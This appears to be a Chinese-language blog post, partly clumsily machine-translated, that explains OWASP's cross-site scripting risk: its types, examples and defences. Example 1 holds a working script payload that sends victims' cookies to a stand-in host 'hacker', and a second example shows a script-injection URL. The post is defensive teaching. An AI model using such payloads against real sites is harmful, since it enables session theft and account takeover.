OWASP top10(OWASP十大应用安全风险)之A7 跨站脚本(XSS)

TOP7 跨站脚本(XSS)

跨站点脚本(XSS)是一个广泛存在的漏洞,会影响许多Web应用程序。XSS攻击包括将恶意的客户端脚本注入网站,并将该网站用作传播方法。
XSS背后的风险在于,它允许攻击者将内容注入网站并修改其显示方式,从而迫使受害者的浏览器在加载页面时执行攻击者提供的代码。
XSS存在于所有应用程序的三分之二中。
通常,XSS漏洞要求用户通过社交工程或通过访问特定页面来触发某种类型的交互。如果未修补XSS漏洞,则对任何网站来说都是非常危险的。

示例

示例1

例如,HTML代码段:

<title>Example document: %(title)</title>

旨在说明一个模板片段,如果变量标题的值为Cross-Site Scripting,则会导致将以下HTML发射到浏览器:

<title>Example document: XSS Doc</title>

包含搜索字段的站点没有正确的输入清理。通过精心制作看起来像这样的搜索查询:

<SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

坐在另一端,在Web服务器上,您将收到点击,其中用户的cookie是双倍空格。如果管理员单击该链接,则攻击者可能会窃取会话ID并劫持该会话。

示例2

假设Google网站上有一个URL,该URL http://www.google.com/search?q=flowers返回包含该片段的HTML文档

<p>Your search for 'flowers' returned the following results:</p>

也就是说,查询参数q的值会插入Google返回的页面中。进一步假设未验证,过滤或转义数据。
Evil.org可以建立一个页面,使以下URL加载到浏览器中(例如,在不可见的中):

http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E

当受害者从www.evil.org加载此页面时,浏览器将从上面的URL加载iframe。现在,加载到iframe中的文档将包含该片段

<p>Your search for 'flowers 'returned the following results:</p>

加载此页面将使浏览器执行 evil_script()。此外,此脚本将在从www.google.com加载的页面的上下文中执行 。

以下附上小编找到的xss备忘录:https://download.csdn.net/download/qq_39682037/12249522(小编只为传播安全意识,无需下载券,欢迎和小编一起交流)

XSS的类型

  • 反映的XSS:应用程序或API包含未经验证和未转义的用户输入,作为HTML输出的一部分。成功的攻击可以使攻击者在受害者的浏览器中执行任意HTML和JavaScript。通常,用户将需要与指向攻击者控制的页面的某些恶意链接进行交互,例如恶意注水网站,广告或类似内容。
  • 已存储的XSS:应用程序或API存储未过滤的用户输入,稍后由其他用户或管理员查看。存储的XSS通常被认为是高风险或严重风险。
  • DOM XSS:动态地将攻击者可控制的数据包含到页面的JavaScript框架,单页应用程序和API容易受到DOM
    XSS的攻击。理想情况下,应用程序不会将攻击者可控制的数据发送到不安全的JavaScript
    API。典型的XSS攻击包括会话窃取,帐户接管,MFA绕过,DOM节点替换或损坏(例如Trojan登录面板),针对用户浏览器的攻击(例如恶意软件下载,键盘记录和其他客户端攻击)。

那我们又该如何防止呢?

  • 使用根据设计自动逃避XSS的框架,例如最新的Ruby on Rails,React JS。了解每个框架的XSS保护的局限性,并适当处理未涵盖的用例。
  • 根据HTML输出中的上下文(正文,属性,JavaScript,CSS或URL)转义不受信任的HTTP请求数据将解决Reflected和Stored XSS漏洞。防止XSS的OWASP备忘单详细介绍了所需的数据转义技术。
  • 在客户端上修改浏览器文档时,应用上下文相关的编码会影响DOM XSS。如果无法避免这种情况,可以将类似的上下文相关的转义技术应用于浏览器API,如OWASP速查表中基于DOM的XSS预防中所述。
  • 启用内容安全策略(CSP)是针对XSS的深度防御缓解控制。如果不存在允许通过本地文件包含放置恶意代码的其他漏洞(例如,路径遍历覆盖或来自允许的内容传递网络的易受攻击的库),则此方法将非常有效。

总结

减少XSS攻击机会的预防措施应考虑到将不受信任的数据与活动浏览器内容分开。

你可能感兴趣的:(OWASP,网络,安全)